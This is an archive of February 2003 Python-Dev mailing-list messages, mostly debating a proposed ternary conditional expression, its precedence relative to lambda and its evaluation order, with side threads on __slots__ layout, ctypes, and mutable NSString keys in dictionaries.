Subject: [Python-Dev] Trinary Operators
In-Reply-To: <200302061039.52903.gherron@islandtraining.com>
References: <20030206043026.GA29482@homer.gst.com> <200302061707.h16H7Vm02222@europa.research.att.com> <200302061808.h16I8jM26135@odiug.zope.com> <200302061039.52903.gherron@islandtraining.com>
Message-ID: <20030206194759.GB31176@meson.dyndns.org>

--DBIVS5p969aUjpLe
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Thu, Feb 06, 2003 at 10:39:52AM -0800, Gary Herron wrote:
> On Thursday 06 February 2003 10:08 am, Guido van Rossum wrote:
> [snip]
>=20
> If this is just for fun, why stop with just "trinary"?  How about one
> of the following (depending on ease of parsing)?  These look even more
> like list comprehension.
>=20
>   x =3D (e1 if c1        e2 if c2        e3 if c3  ...  else d)
>   x =3D (e1 if c1  else  e2 if c2  else  e3 if c3  ...  else d)
>=20
>=20
>  I guess we'd have to call it the n-ary operator.
>=20

  Or "conditional comprehensions"? :)

  Jp

--=20
http://catandgirl.com/view.cgi?44
--=20
 up 52 days, 23:50, 3 users, load average: 0.28, 0.23, 0.24

--DBIVS5p969aUjpLe
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.0 (GNU/Linux)

iD8DBQE+QrvvedcO2BJA+4YRAglqAJ9TPwg3RqhPndKznR4hiyfa+kiK9gCgk6WV
Koa6MAeQzX6YvmNfvjJAnp0=
=UpiP
-----END PGP SIGNATURE-----

--DBIVS5p969aUjpLe--


From guido@python.org  Thu Feb  6 19:49:23 2003
From: guido@python.org (Guido van Rossum)
Date: Thu, 06 Feb 2003 14:49:23 -0500
Subject: [Python-Dev] Trinary Operators
In-Reply-To: Your message of "Thu, 06 Feb 2003 10:39:52 PST."
 <200302061039.52903.gherron@islandtraining.com>
References: <20030206043026.GA29482@homer.gst.com> <200302061707.h16H7Vm02222@europa.research.att.com> <200302061808.h16I8jM26135@odiug.zope.com>
 <200302061039.52903.gherron@islandtraining.com>
Message-ID: <200302061949.h16JnOc32020@odiug.zope.com>

> If this is just for fun, why stop with just "trinary"?

(Which BTW is a non-word; the correct term is "ternary".)

> How about one of the following (depending on ease of parsing)?
> These look even more like list comprehension.
> 
>   x = (e1 if c1        e2 if c2        e3 if c3  ...  else d)

Doesn't parse.  The concatenation of two expressions is not
always distinguishable from a single expression: consider c1 = f and
c2 = (1, 2).

>   x = (e1 if c1  else  e2 if c2  else  e3 if c3  ...  else d)

That works.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Thu Feb  6 20:01:43 2003
From: guido@python.org (Guido van Rossum)
Date: Thu, 06 Feb 2003 15:01:43 -0500
Subject: [Python-Dev] Re: Trinary Operators
In-Reply-To: Your message of "Thu, 06 Feb 2003 14:44:47 EST."
 <GBEGLOMMCLDACBPKDIHFGEFFDCAA.gsw@agere.com>
References: <GBEGLOMMCLDACBPKDIHFGEFFDCAA.gsw@agere.com>
Message-ID: <200302062001.h16K1hJ32460@odiug.zope.com>

> As long as you wait until April 1 (that's an odd day).

:-)

> I'm an even-day fan of trinary operators myself, but
> this opens too many questions. For example, with
> regard to short-circuiting, it will be inconsistent
> with other expressions at some level in either form
> or function.

How so?  If we give 'or' (and hence 'and') a higher priority --
i.e. binding tighter -- than 'if' and 'else', it's unambiguous to the
parser and also consistent with the if statement:

  if x and y:
     print 1
  else
     print 0

means the same as

  print 1 if x and y else 0

This is also similar to how lambda groups relative to and/or (and/or
has a higher priority).

I'm not sure yet how lambda and if/else should group relative to each
other.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From jacobs@penguin.theopalgroup.com  Thu Feb  6 20:06:08 2003
From: jacobs@penguin.theopalgroup.com (Kevin Jacobs)
Date: Thu, 6 Feb 2003 15:06:08 -0500 (EST)
Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes
 existing applications to fail
In-Reply-To: <200302061946.h16JkOj31730@odiug.zope.com>
Message-ID: <Pine.LNX.4.44.0302061503170.14874-100000@penguin.theopalgroup.com>

On Thu, 6 Feb 2003, Guido van Rossum wrote:
> Hm...  Given this feedback, it sounds like the only way to implement
> Christian's suggestion in a backwards-compatible way would be to use a
> different __xxx__ name, e.g. __fields__.  I also like the suggestion
> of allowing control over the order as well.

Not to be difficult, but I already use '__fields__' for the same purpose as
dictionaries assigned to __slots__ for non-slot attributes.

(Yes, I know that this means nothing, since __xyz__ names are fair game,
though I think it is extremely funny that fate is trying to kill my
ConatraintObject metatype)

-Kevin ;)

-- 
--
Kevin Jacobs
The OPAL Group - Enterprise Systems Architect
Voice: (216) 986-0710 x 19         E-mail: jacobs@theopalgroup.com
Fax:   (216) 986-0714              WWW:    http://www.theopalgroup.com



From theller@python.net  Thu Feb  6 20:13:23 2003
From: theller@python.net (Thomas Heller)
Date: 06 Feb 2003 21:13:23 +0100
Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes existing applications to fail
In-Reply-To: <Pine.LNX.4.44.0302061503170.14874-100000@penguin.theopalgroup.com>
References: <Pine.LNX.4.44.0302061503170.14874-100000@penguin.theopalgroup.com>
Message-ID: <7kcdgobg.fsf@python.net>

Kevin Jacobs <jacobs@penguin.theopalgroup.com> writes:

> On Thu, 6 Feb 2003, Guido van Rossum wrote:
> > Hm...  Given this feedback, it sounds like the only way to implement
> > Christian's suggestion in a backwards-compatible way would be to use a
> > different __xxx__ name, e.g. __fields__.  I also like the suggestion
> > of allowing control over the order as well.
> 
> Not to be difficult, but I already use '__fields__' for the same purpose as
> dictionaries assigned to __slots__ for non-slot attributes.
> 
> (Yes, I know that this means nothing, since __xyz__ names are fair game,
> though I think it is extremely funny that fate is trying to kill my
> ConatraintObject metatype)

That's the exact reason ctypes uses '_fields_' as the name ;-)

Although I'm currently wondering if I should use __slots__ instead,
and set it to a whatever is needed.
Each tp_new could retrieve whatever info it needs from it,
and pass the mangled resulting __slots__ to the base metaclass
tp_new thing.

Thomas



From theller@python.net  Thu Feb  6 20:09:08 2003
From: theller@python.net (Thomas Heller)
Date: 06 Feb 2003 21:09:08 +0100
Subject: [Python-Dev] __slots__ (was: mandatory use of cyclic GC ...)
In-Reply-To: <3E42BB99.5010704@tismer.com>
References: <BIEJKCLHCIOIHAGOKOLHIEGLEMAA.tim.one@comcast.net>
 <3E42ADCD.8010605@tismer.com>
 <200302061909.h16J9II29413@odiug.zope.com> <el6li533.fsf@python.net>
 <3E42BB99.5010704@tismer.com>
Message-ID: <d6m5goij.fsf_-_@python.net>

Christian Tismer <tismer@tismer.com> writes:

> Thomas Heller wrote:
> 
> [extending __slots__]
> 
> > May I suggest to use an ordered sequence (of pairs) instead of a dict
> > for __slots__.  Then you also can completely control the layout that
> > C code sees and construct C compatible structures or other data types
> > from pure Python code.
> 
> Huh, are you fast!
> I was about to propose exactly this same thing:
> If we deal with flat types, then we also can
> define their precise layout.
> 
> Using a dict would anyway be nicer to read,
> because the colons are quite illustrative.
> For literal dicts, it would be imaginable to
> hook into the build_dict and grab the objects
> from the stack in order...
> ...I see Guido's head shaking :-)
Yes...

It would be nice to write something like this
  D(x=1, y=2, z=3)
or
 { "x": 1, "y": 2, "z": 3 }
to create a sequence which maintains the order, but I've given up
on this.
OTOH, the sequence of tuples looks somewhat like Scheme (replace
the '[' by '(', and remove the commas ;-)

> 
> Another way would be not to go away from __slots__ as
> a simple list, but allow to use structure objects
> with the necessary attribute like name, type, whatever
> instead of the name strings. This could go as far as
> to also allow redefining getters and setters at the same
> time.
> 
> Is this going too far?
> Am I re-inventing something like CTypes?
The aasic ideas are IIUC the same.

The core of ctypes (if you would like to name it this way) is to
provide an (extensible) system of classes which describe C data types.

These are used to

- construct from Python and manipulate from Python *and* from C code
  instances of these data types transparently

- convert Python objects into C data (for C function calls)

- convert C data into Python objects (for results from C function calls)

- define new C data types structures, unions, pointers, whatever,
  from pure Python code (kind of 'typedef')

> > <plug>
> > [...]
> </plug>

Where is my validator =;-)

> 
> What would this C data type be? Other structs as well,
> or only atomic types? Do you think of even specifying
> (name, bitsize, alignment), or is this overdone?
(Bitsizes are not (yet) supported, alignment is derived using standard
rules from the base data types.)

See above: anything which you could also do in C.
I'm currently working on a simple COM client and server 'framework',
where you define, use, and implement COM interfaces in pure Python
with help from ctypes.

I could further explain this if there's interest, but this is probably
more on-topic for pypy-dev or ctypes-users.

> 
> ciao - chris

Thomas

PS: The reason I'm explaining this in detail several times is that I
think that ctypes has large potential (although it's too unsafe to go
into the Python core), and I want to attract more people looking at
it.  I want to make sure I got everything correct in the API.
Understandable if you know Python and C at least.



From esr@thyrsus.com  Thu Feb  6 20:13:04 2003
From: esr@thyrsus.com (Eric S. Raymond)
Date: Thu, 6 Feb 2003 15:13:04 -0500
Subject: [Python-Dev] Re: Trinary Operators
In-Reply-To: <200302062001.h16K1hJ32460@odiug.zope.com>
References: <GBEGLOMMCLDACBPKDIHFGEFFDCAA.gsw@agere.com> <200302062001.h16K1hJ32460@odiug.zope.com>
Message-ID: <20030206201304.GI22912@thyrsus.com>

Guido van Rossum <guido@python.org>:
> I'm not sure yet how lambda and if/else should group relative to each
> other.

I am.  Lambda should bind more loosely.

Consider the typical callback lambda usage case:

     MyGuiButton(lambda: mysort() if mode == SORT else browse(), "Do it.")

That is, I definitely want the scope of the lambda to go all the way to
the comma.

I like the suggestion for the extended n-ary form.  Partly because it's 
a stronger helper for the most important usage context, but also because
it moves Python more towards being an expression-oriented language.
-- 
		<a href="http://www.catb.org/~esr/">Eric S. Raymond</a>


From tjreedy@udel.edu  Thu Feb  6 20:31:17 2003
From: tjreedy@udel.edu (Terry Reedy)
Date: Thu, 6 Feb 2003 15:31:17 -0500
Subject: [Python-Dev] Re: Trinary Operators
References: <20030206043026.GA29482@homer.gst.com>
Message-ID: <b1uge3$789$1@main.gmane.org>

"Christopher Blunck" <blunck@gst.com> wrote in message
news:20030206043026.GA29482@homer.gst.com...
> I have a brief and quick question-
>
> What was the reasoning for not supporting trinary operators in py?

Go to
http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&group=comp.lang.pyt
hon
enter "ternary operator" and check Python only box and you will get
139 responses.  I believe at least some address why as well as what.

TJR





From aahz@pythoncraft.com  Thu Feb  6 20:36:32 2003
From: aahz@pythoncraft.com (Aahz)
Date: Thu, 6 Feb 2003 15:36:32 -0500
Subject: [Python-Dev] Re: Trinary Operators
In-Reply-To: <200302062001.h16K1hJ32460@odiug.zope.com>
References: <GBEGLOMMCLDACBPKDIHFGEFFDCAA.gsw@agere.com> <200302062001.h16K1hJ32460@odiug.zope.com>
Message-ID: <20030206203632.GA17146@panix.com>

On Thu, Feb 06, 2003, Guido van Rossum wrote:
>Gerald S. Williams:
>>
>> I'm an even-day fan of trinary operators myself, but this opens too
>> many questions. For example, with regard to short-circuiting, it will
>> be inconsistent with other expressions at some level in either form
>> or function.
>
> How so?  If we give 'or' (and hence 'and') a higher priority --
> i.e. binding tighter -- than 'if' and 'else', it's unambiguous to the
> parser and also consistent with the if statement:
> 
>   if x and y:
>      print 1
>   else
>      print 0
> 
> means the same as
> 
>   print 1 if x and y else 0
> 
> This is also similar to how lambda groups relative to and/or (and/or
> has a higher priority).

Are they really equivalent?  What about

    print h() if f() and g()

versus

    if f() and g():
        print h()

Does g() get called if f() is false?  What about h()?
-- 
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Argue for your limitations, and sure enough they're yours."  --Richard Bach


From guido@python.org  Thu Feb  6 20:44:03 2003
From: guido@python.org (Guido van Rossum)
Date: Thu, 06 Feb 2003 15:44:03 -0500
Subject: [Python-Dev] Re: Trinary Operators
In-Reply-To: Your message of "Thu, 06 Feb 2003 15:36:32 EST."
 <20030206203632.GA17146@panix.com>
References: <GBEGLOMMCLDACBPKDIHFGEFFDCAA.gsw@agere.com> <200302062001.h16K1hJ32460@odiug.zope.com>
 <20030206203632.GA17146@panix.com>
Message-ID: <200302062044.h16Ki3F00350@odiug.zope.com>

> Are they really equivalent?  What about
> 
>     print h() if f() and g()
> 
> versus
> 
>     if f() and g():
>         print h()
> 
> Does g() get called if f() is false?  What about h()?

Do you know the ternary operator in C?

--Guido van Rossum (home page: http://www.python.org/~guido/)


From neal@metaslash.com  Thu Feb  6 20:48:35 2003
From: neal@metaslash.com (Neal Norwitz)
Date: Thu, 06 Feb 2003 15:48:35 -0500
Subject: [Python-Dev] Pre-PEP: Mutable keys in dictionaries
In-Reply-To: <r01050400-1023-347AD22C3A0B11D7A5DA003065D5E7E4@[10.0.0.23]>
References: <200302061857.h16IvXu28747@odiug.zope.com>
 <r01050400-1023-347AD22C3A0B11D7A5DA003065D5E7E4@[10.0.0.23]>
Message-ID: <20030206204835.GA23059@epoch.metaslash.com>

On Thu, Feb 06, 2003 at 08:42:59PM +0100, Just van Rossum wrote:
> 
> [GvR]
> > Could you do this as a subclass of dict?  A subclass in Python would
> > be inefficient, but might still be good enough for your second use
> > case (the ObjC bridge).  If not, a subclass in Python might be
> > feasible -- it would be a little bit more work than integrating it
> > into dictobject.c, but you have a lot less convincing to do, and you
> > can even get it to work with Python 2.2.
> 
> But it doesn't solve our problem. We have no control over what
> dictionaries are used, either by our users directly or by the Python
> library they use. We _do_ have control over the keys that are causing
> troubles: our main problem is that we cannot rely on NSString instances
> to be immutable, yet we need the ability to use them as keys in
> (regular) dicts, just as if they were Python strings.

Couldn't you add an as_key() method to NSString?  Then dict
access would always be like:

        dict[nsstring.as_key()]

Neal


From just@letterror.com  Thu Feb  6 21:02:58 2003
From: just@letterror.com (Just van Rossum)
Date: Thu,  6 Feb 2003 22:02:58 +0100
Subject: [Python-Dev] Pre-PEP: Mutable keys in dictionaries
In-Reply-To: <20030206204835.GA23059@epoch.metaslash.com>
Message-ID: <r01050400-1023-6092AC3A3A1611D7A5DA003065D5E7E4@[10.0.0.23]>

Neal Norwitz wrote:

> Couldn't you add an as_key() method to NSString?  Then dict
> access would always be like:
> 
>         dict[nsstring.as_key()]

That's not my idea of transparent bridging, so no ;-)

Just


From aahz@pythoncraft.com  Thu Feb  6 21:05:47 2003
From: aahz@pythoncraft.com (Aahz)
Date: Thu, 6 Feb 2003 16:05:47 -0500
Subject: [Python-Dev] Re: Trinary Operators
In-Reply-To: <200302062044.h16Ki3F00350@odiug.zope.com>
References: <GBEGLOMMCLDACBPKDIHFGEFFDCAA.gsw@agere.com> <200302062001.h16K1hJ32460@odiug.zope.com> <20030206203632.GA17146@panix.com> <200302062044.h16Ki3F00350@odiug.zope.com>
Message-ID: <20030206210547.GA27390@panix.com>

On Thu, Feb 06, 2003, Guido van Rossum wrote:
>Aahz:
>>
>> Are they really equivalent?  What about
>> 
>>     print h() if f() and g()
>> 
>> versus
>> 
>>     if f() and g():
>>         print h()
>> 
>> Does g() get called if f() is false?  What about h()?
> 
> Do you know the ternary operator in C?

Thanks to my handy K&R2, now I do.  ;-)  But I'm always suspicious when
the proposed syntax doesn't have a simple L->R or R->L semantic, which is
the main thing I don't like about listcomps.  So I figured I'd make sure.

After all, explicit is better than implicit, and that goes triple when
human languages are used.
-- 
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Argue for your limitations, and sure enough they're yours."  --Richard Bach


From gsw@agere.com  Thu Feb  6 21:18:43 2003
From: gsw@agere.com (Gerald S. Williams)
Date: Thu, 6 Feb 2003 16:18:43 -0500
Subject: [Python-Dev] Re: Trinary Operators
In-Reply-To: <200302062001.h16K1hJ32460@odiug.zope.com>
Message-ID: <GBEGLOMMCLDACBPKDIHFMEFGDCAA.gsw@agere.com>

Guido van Rossum wrote:
> > For example, with regard to short-circuiting, it will be
> > inconsistent with other expressions at some level in
> > either form or function.
> 
> How so?
[ ... ]
>   if x and y:
>      print 1
>   else
>      print 0
> 
> means the same as
> 
>   print 1 if x and y else 0

That's what I figured.

In that case, the "inconsistency in form" is the order of
evaluation. The expression in the middle is evaluated,
then either the one on the left or the one on the right.
Not everyone will see this as a big issue, but it is a
potential source of confusion. I did qualify my statement
with "at some level". :-)

Compare this to the order of evaluation in the current
equivalent (parentheses for clarity only):
   (x and y) and 1 or 0

or if you prefer:
   ((x and y) and [1] or [0])[0]

The order of evaluation is the same, but the form is
different. If you are expecting short-circuiting, it's
clear in this case that it's left-to-right.

-Jerry



From esr@thyrsus.com  Thu Feb  6 21:18:28 2003
From: esr@thyrsus.com (Eric S. Raymond)
Date: Thu, 6 Feb 2003 16:18:28 -0500
Subject: [Python-Dev] Re: Trinary Operators
In-Reply-To: <GBEGLOMMCLDACBPKDIHFMEFGDCAA.gsw@agere.com>
References: <200302062001.h16K1hJ32460@odiug.zope.com> <GBEGLOMMCLDACBPKDIHFMEFGDCAA.gsw@agere.com>
Message-ID: <20030206211828.GC23589@thyrsus.com>

Gerald S. Williams <gsw@agere.com>:
> In that case, the "inconsistency in form" is the order of
> evaluation. The expression in the middle is evaluated,
> then either the one on the left or the one on the right.
> Not everyone will see this as a big issue, but it is a
> potential source of confusion.

Yeeeouch.  And the proposed n-ary form is even worse.
-- 
		<a href="http://www.catb.org/~esr/">Eric S. Raymond</a>


From ark@research.att.com  Thu Feb  6 21:29:14 2003
From: ark@research.att.com (Andrew Koenig)
Date: 06 Feb 2003 16:29:14 -0500
Subject: [Python-Dev] Re: Trinary Operators
In-Reply-To: <200302062001.h16K1hJ32460@odiug.zope.com>
References: <GBEGLOMMCLDACBPKDIHFGEFFDCAA.gsw@agere.com>
 <200302062001.h16K1hJ32460@odiug.zope.com>
Message-ID: <yu99k7gddro5.fsf@europa.research.att.com>

Guido> I'm not sure yet how lambda and if/else should group relative
Guido> to each other.

Note first that there is no question of precedence between "if" and
"else" because every "if" is paired with exactly one "else".
The problem, then, arises in the following contexts:


        ... lambda ... :  ... if ...  else ....

        ... if ... else ... lambda ... : ...

There doesn't appear to be a problem with the lambda on the right,
either!  I say that because once you get past the colon, you're in
an ordinary expression and whatever rules applied before still apply.

So I think the only real problem is with the lambda on the left.
There, I think that the if/else should bind more tightly than the
lambda, because it will be much more common to have a conditional as
the body of a lambda expression than it will be to have a conditional
that yields a lambda.  I think of this as the canonical example:

        fact = lambda n: n*fact(n-1) if n>0 else 1

It's hard to think of an equally nice one with lambda on the right,
but maybe this is semi-convincing:

        future_x = x if callable(x) else lambda: x

It doesn't bother me that the relative precedence of if/else and
lambda is different on the left and right, because lambda is
one of these oddball low-precedence unary operators in the first place.
C++ has similar oddities with the relative precedence of :? and = .

-- 
Andrew Koenig, ark@research.att.com, http://www.research.att.com/info/ark


From ark@research.att.com  Thu Feb  6 21:32:23 2003
From: ark@research.att.com (Andrew Koenig)
Date: 06 Feb 2003 16:32:23 -0500
Subject: [Python-Dev] Re: Trinary Operators
In-Reply-To: <20030206211828.GC23589@thyrsus.com>
References: <200302062001.h16K1hJ32460@odiug.zope.com>
 <GBEGLOMMCLDACBPKDIHFMEFGDCAA.gsw@agere.com>
 <20030206211828.GC23589@thyrsus.com>
Message-ID: <yu99fzr1driw.fsf@europa.research.att.com>

Eric> Yeeeouch.  And the proposed n-ary form is even worse.

On the other hand, we already have the problem with list comprehensions:

        [f(i) for i in range(n) if g(i)]

Here, every evaluation of f(i) is preceded by an evaluation of g(i).

-- 
Andrew Koenig, ark@research.att.com, http://www.research.att.com/info/ark


From gsw@agere.com  Thu Feb  6 21:41:07 2003
From: gsw@agere.com (Gerald S. Williams)
Date: Thu, 6 Feb 2003 16:41:07 -0500
Subject: [Python-Dev] Re: Trinary Operators
In-Reply-To: <yu99fzr1driw.fsf@europa.research.att.com>
Message-ID: <GBEGLOMMCLDACBPKDIHFIEFHDCAA.gsw@agere.com>

Andrew Koenig wrote:
> On the other hand, we already have the problem with list comprehensions:
> 
>         [f(i) for i in range(n) if g(i)]

I tried to be careful not to imply that left-to-right
short-circuiting was the only way to go. And I don't
think we're likely to confuse people who are already
comfortable with list comprehensions. It's the other
99% I'm concerned about. ;-)

-Jerry



From bac@OCF.Berkeley.EDU  Thu Feb  6 20:08:46 2003
From: bac@OCF.Berkeley.EDU (Brett Cannon)
Date: Thu, 6 Feb 2003 12:08:46 -0800 (PST)
Subject: Atomic operations (was Re: [Python-Dev] Why did Fredrik leave
 the party?)
In-Reply-To: <15938.27939.731673.576239@gargle.gargle.HOWL>
References: <200302031653.h13Grof20104@odiug.zope.com>
 <068a01c2cc8e$31e97140$6d94fea9@newmexico> <200302042057.h14KvEI26727@odiug.zope.com>
 <200302041843.30945.mclay@nist.gov> <200302050207.h1527tf21975@pcp02138704pcs.reston01.va.comcast.net>
 <001a01c2cd1e$a1e30d40$860bf5d1@PythonToy> <200302051448.h15EmL428173@odiug.zope.com>
 <20030205184351.GA17468@thyrsus.com> <15938.27939.731673.576239@gargle.gargle.HOWL>
Message-ID: <Pine.SOL.4.53.0302061202180.13099@death.OCF.Berkeley.EDU>

[Barry A. Warsaw]

>
> Brett (I think) suggested that there may be alternatives to a
> syntactic approach, e.g. one that prohibits thread switching between
> the resource acquisition and the entering of the try.  That might be
> interesting to explore, but I worry about deadlock possibilities.
>

Yes, I suggested this, but at an improper time.  I had forgotten Guido had
asked that new ideas that tied into the syntax proposals not be brought up
until summaries of the old ideas were done.  My bad.  =)

Anyway, so I am going to read the paper that Jeremy posted the link to,
but I am going to ask that we save discussing this until we get those
summaries (or discuss it off-list if anyone cares to).  Maybe this will
motivate me to come up with some half-assed summary just to have one done
and force people to clean them up if they care about the proposal.  =)

-Brett


From guido@python.org  Thu Feb  6 20:02:49 2003
From: guido@python.org (Guido van Rossum)
Date: Thu, 06 Feb 2003 15:02:49 -0500
Subject: [Python-Dev] Pre-PEP: Mutable keys in dictionaries
In-Reply-To: Your message of "Thu, 06 Feb 2003 20:42:59 +0100."
 <r01050400-1023-347AD22C3A0B11D7A5DA003065D5E7E4@[10.0.0.23]>
References: <r01050400-1023-347AD22C3A0B11D7A5DA003065D5E7E4@[10.0.0.23]>
Message-ID: <200302062002.h16K2no32477@odiug.zope.com>

> > Could you do this as a subclass of dict?  A subclass in Python would
> > be inefficient, but might still be good enough for your second use
> > case (the ObjC bridge).  If not, a subclass in Python might be
> > feasible -- it would be a little bit more work than integrating it
> > into dictobject.c, but you have a lot less convincing to do, and you
> > can even get it to work with Python 2.2.
> 
> But it doesn't solve our problem. We have no control over what
> dictionaries are used, either by our users directly or by the Python
> library they use. We _do_ have control over the keys that are causing
> troubles: our main problem is that we cannot rely on NSString instances
> to be immutable, yet we need the ability to use them as keys in
> (regular) dicts, just as if they were Python strings.

OK, go ahead and try to implement your idea, and report benchmarks
here.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From mchermside@ingdirect.com  Thu Feb  6 22:07:07 2003
From: mchermside@ingdirect.com (Chermside, Michael)
Date: Thu, 6 Feb 2003 17:07:07 -0500
Subject: [Python-Dev] Extended Function syntax
Message-ID: <7F171EB5E155544CAC4035F0182093F04211CC@INGDEXCHSANC1.ingdirect.com>

Oren Tirosh writes:
> Currently, when a generator yields and is never resumed it just dies
> silently. I suggest that it would be resumed one last time with an=20
> AbortIteration exception raised at the yield statement.
     [...]
> The difference is that this exception=20
> based system does not make such a strong guarantee as try/finally - it =

> will be triggered when the iteration is aborted by break, return or an =

> exception in the looping scope but not by a __del__ of a generator=20
> object dropping to refcnt of 0 so it should be "Jythonially correct".

Essentially, you're proposing that we USUALLY but not ALWAYS guarantee
to call __leave__ (aka __exit__). To me, this suffers from the same
problem that your generators patch had... guarantees need to be solid!
In the case of generators, I think it's better saying "yield cannot be
used inside of try-finally" than saying "if yield is used inside of
try-finally then on rare occasions the finally clause may not execute".
Similarly, I think if we plan to use this for problems like resource=20
allocation-deallocation, then we'd better not say "__leave__ will
usually be called" -- that's practically useless. We need a solid
guarantee.

-- Michael Chermside



From gherron@islandtraining.com  Thu Feb  6 22:23:02 2003
From: gherron@islandtraining.com (Gary Herron)
Date: Thu, 6 Feb 2003 14:23:02 -0800
Subject: [Python-Dev] Re: Trinary Operators
In-Reply-To: <20030206211828.GC23589@thyrsus.com>
References: <200302062001.h16K1hJ32460@odiug.zope.com> <GBEGLOMMCLDACBPKDIHFMEFGDCAA.gsw@agere.com> <20030206211828.GC23589@thyrsus.com>
Message-ID: <200302061423.02637.gherron@islandtraining.com>

On Thursday 06 February 2003 01:18 pm, Eric S. Raymond wrote:
> Gerald S. Williams <gsw@agere.com>:
> > In that case, the "inconsistency in form" is the order of
> > evaluation. The expression in the middle is evaluated,
> > then either the one on the left or the one on the right.
> > Not everyone will see this as a big issue, but it is a
> > potential source of confusion.
>
> Yeeeouch.  And the proposed n-ary form is even worse.

Not really all that bad.  Over all

  (e1 if c1   else   e2 if c2   else  e3)

proceeds left to right through each "en if cn" part.  Of course, the
order in each "en if cn" part is reversed, but you already had that in
the initial ternary form.

Gary Herron




From mchermside@ingdirect.com  Thu Feb  6 22:26:30 2003
From: mchermside@ingdirect.com (Chermside, Michael)
Date: Thu, 6 Feb 2003 17:26:30 -0500
Subject: [Python-Dev] Acquire/release functionality
Message-ID: <7F171EB5E155544CAC4035F0182093F04211CD@INGDEXCHSANC1.ingdirect.com>

Alex Martelli writes:
> I *LIKE* this: a termination-method SHOULD be idempotent
> (a no-op when called more than once), so that if various ways to
> "ensure the termination method is called" happen to be used all
> at once, that doesn't break anything.

I'm not sure I agree. You write your code which does 3 different
things to ensure that the file gets closed. Then I, the poor
maintenance programmer, is asked to make a change... don't close
the file until later on. I find the spot in the code where you=20
close the file and "fix" it... but the file still seems to close!
I find ANOTHER spot where you close it, and remove that one too...
but the file STILL won't behave.

If we had a SINGLE approach which was reliable and easy-to-use,=20
(which is, of course, what we're aiming for) couldn't we just use=20
that everywhere, and use it just once?

-- Michael Chermside


From esr@thyrsus.com  Thu Feb  6 22:20:14 2003
From: esr@thyrsus.com (Eric S. Raymond)
Date: Thu, 6 Feb 2003 17:20:14 -0500
Subject: [Python-Dev] Re: Trinary Operators
In-Reply-To: <yu99fzr1driw.fsf@europa.research.att.com>
References: <200302062001.h16K1hJ32460@odiug.zope.com> <GBEGLOMMCLDACBPKDIHFMEFGDCAA.gsw@agere.com> <20030206211828.GC23589@thyrsus.com> <yu99fzr1driw.fsf@europa.research.att.com>
Message-ID: <20030206222014.GA23934@thyrsus.com>

Andrew Koenig <ark@research.att.com>:
> Eric> Yeeeouch.  And the proposed n-ary form is even worse.
> 
> On the other hand, we already have the problem with list comprehensions:
> 
>         [f(i) for i in range(n) if g(i)]
> 
> Here, every evaluation of f(i) is preceded by an evaluation of g(i).

Uh...but this is one of the reasons I never liked list comprehensions.
-- 
		<a href="http://www.catb.org/~esr/">Eric S. Raymond</a>


From ark@research.att.com  Thu Feb  6 22:32:01 2003
From: ark@research.att.com (Andrew Koenig)
Date: Thu, 6 Feb 2003 17:32:01 -0500 (EST)
Subject: [Python-Dev] Re: Trinary Operators
In-Reply-To: <20030206222014.GA23934@thyrsus.com> (esr@thyrsus.com)
References: <200302062001.h16K1hJ32460@odiug.zope.com> <GBEGLOMMCLDACBPKDIHFMEFGDCAA.gsw@agere.com> <20030206211828.GC23589@thyrsus.com> <yu99fzr1driw.fsf@europa.research.att.com> <20030206222014.GA23934@thyrsus.com>
Message-ID: <200302062232.h16MW1Q07374@europa.research.att.com>

Eric> Uh...but this is one of the reasons I never liked list
Eric> comprehensions.

That's a separate issue :-)

My point is just that the proposed syntax introduces no NEW problems.


From gherron@islandtraining.com  Thu Feb  6 22:46:52 2003
From: gherron@islandtraining.com (Gary Herron)
Date: Thu, 6 Feb 2003 14:46:52 -0800
Subject: [Python-Dev] Re: Trinary Operators
In-Reply-To: <20030206222014.GA23934@thyrsus.com>
References: <200302062001.h16K1hJ32460@odiug.zope.com> <yu99fzr1driw.fsf@europa.research.att.com> <20030206222014.GA23934@thyrsus.com>
Message-ID: <200302061446.52972.gherron@islandtraining.com>

On Thursday 06 February 2003 02:20 pm, Eric S. Raymond wrote:
> Andrew Koenig <ark@research.att.com>:
> > Eric> Yeeeouch.  And the proposed n-ary form is even worse.
> >
> > On the other hand, we already have the problem with list comprehensions:
> >
> >         [f(i) for i in range(n) if g(i)]
> >
> > Here, every evaluation of f(i) is preceded by an evaluation of g(i).
>
> Uh...but this is one of the reasons I never liked list comprehensions.

Perhaps because I'm a mathematician, I find the list comprehensions
very comfortable.  It corresponds quite well with the mathematical
notation for defining sets: {2*x | for all x in someSet}

In the same way the ternary (and the extended n-ary) form correspond
to the usual mathematical notation for defining a function "in
pieces":

             x for x>=0
 abs(x) = {
            -x for x<0

looks like abs_x = (x if x>=0 else -x)

(Of course I can't typeset it in email, but perhaps one can imagine
the "{" large enough to encompass both lines on the right.)

Gary Herron



From fdrake@acm.org  Thu Feb  6 22:54:58 2003
From: fdrake@acm.org (Fred L. Drake, Jr.)
Date: Thu, 6 Feb 2003 17:54:58 -0500
Subject: [Python-Dev] Re: Trinary Operators
In-Reply-To: <200302061446.52972.gherron@islandtraining.com>
References: <200302062001.h16K1hJ32460@odiug.zope.com>
 <yu99fzr1driw.fsf@europa.research.att.com>
 <20030206222014.GA23934@thyrsus.com>
 <200302061446.52972.gherron@islandtraining.com>
Message-ID: <15938.59330.55972.810651@grendel.zope.com>

Gary Herron writes:
 >              x for x>=0
 >  abs(x) = {
 >             -x for x<0
...
 > (Of course I can't typeset it in email, but perhaps one can imagine
 > the "{" large enough to encompass both lines on the right.)

            /
            |   x for x >= 0
  abs(x) = <
            |  -x for x < 0
            \

Yeah, I guess it's hopeless.  ;-(


  -Fred

-- 
Fred L. Drake, Jr.  <fdrake at acm.org>
PythonLabs at Zope Corporation


From tdelaney@avaya.com  Thu Feb  6 23:04:57 2003
From: tdelaney@avaya.com (Delaney, Timothy C (Timothy))
Date: Fri, 7 Feb 2003 10:04:57 +1100
